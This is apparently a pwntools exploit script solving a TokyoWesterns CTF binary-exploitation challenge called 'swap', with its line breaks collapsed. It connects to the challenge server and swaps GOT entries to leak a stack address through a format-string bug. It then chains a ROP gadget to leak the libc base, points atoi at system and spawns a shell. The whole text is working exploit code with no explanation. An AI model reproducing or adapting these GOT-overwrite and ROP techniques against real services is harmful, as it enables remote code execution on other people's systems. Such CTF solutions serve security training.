```python#!/usr/bin/env python2from pwn import *context.binary = './swap'#context.log_level='debug'
#r = remote('localhost', 4000)r = remote('swap.chal.ctf.westerns.tokyo', 37567)libc = ELF('./libc.so.6')
atoi_got = 0x601050printf_got = 0x601038stack_check_fail_got = 0x601030exit_got = 0x601018puts_got = 0x601028stdin = 0x601090fscanf_got = 0x601020leave_ret = 0x4008e7pop_rdi = 0x400a53main = 0x4008e9puts_plt = 0x4006a0
def save_to_stack(adr1, adr2):    r.sendafter('choice: ', '1')    r.sendlineafter('address: ', str(adr1))    r.sendlineafter('address: ', str(adr2))
def swap(adr1, adr2):    save_to_stack(adr1, adr2)    r.sendafter('choice: ', '2')
# leak by format string vulnr.sendafter('choice: ', '5')swap(atoi_got, printf_got)r.sendafter('choice: ', '%p')buf = int(r.recvuntil('.')[:-2], 16)print 'Leaked buf:', hex(buf)r.sendafter('choice: ', 'AA') # restore atoi, printf
# buf+250 -> _start# use exit to grow stack and store data on itswap(exit_got, buf+250)
l1_buf_1 = buf + 0xa + 0x8*2 + 0x10l1_buf_2 = buf + 0xa + 0x8*2 + 0x18save_to_stack(puts_got, leave_ret)
r.sendafter('choice: ', '3')
l2_buf_1 = buf - 246 + 0x10l2_buf_2 = buf - 246 + 0x18save_to_stack(pop_rdi, main)
r.sendafter('choice: ', '3')
l3_buf_1 = buf - 502l3_buf_2 = buf - 502 + 8save_to_stack(puts_plt, main)
r.sendafter('choice: ', '3')
# edit exit() to leave_ret gadget# then build rop chain to leak libc base and return to mainrop_buf = buf - 734swap(rop_buf, l2_buf_1)swap(rop_buf+8, l1_buf_1)swap(rop_buf+16, l3_buf_1)swap(rop_buf+24, l2_buf_2)swap(exit_got, l1_buf_2)
r.sendafter('choice: ', '3')
r.recvuntil('Bye.')libc_base = u64(r.recvuntil('\x7f')[-6:]+'\x00\x00') - libc.symbols['puts']print 'Leaked libc base:', hex(libc_base)system = libc_base + libc.symbols['system']
swap(exit_got, l3_buf_2)
system_buf = buf - 742save_to_stack(system, 0)
r.sendafter('choice: ', '3')
swap(atoi_got, system_buf)r.sendafter('choice: ', 'sh')
r.interactive('>>')```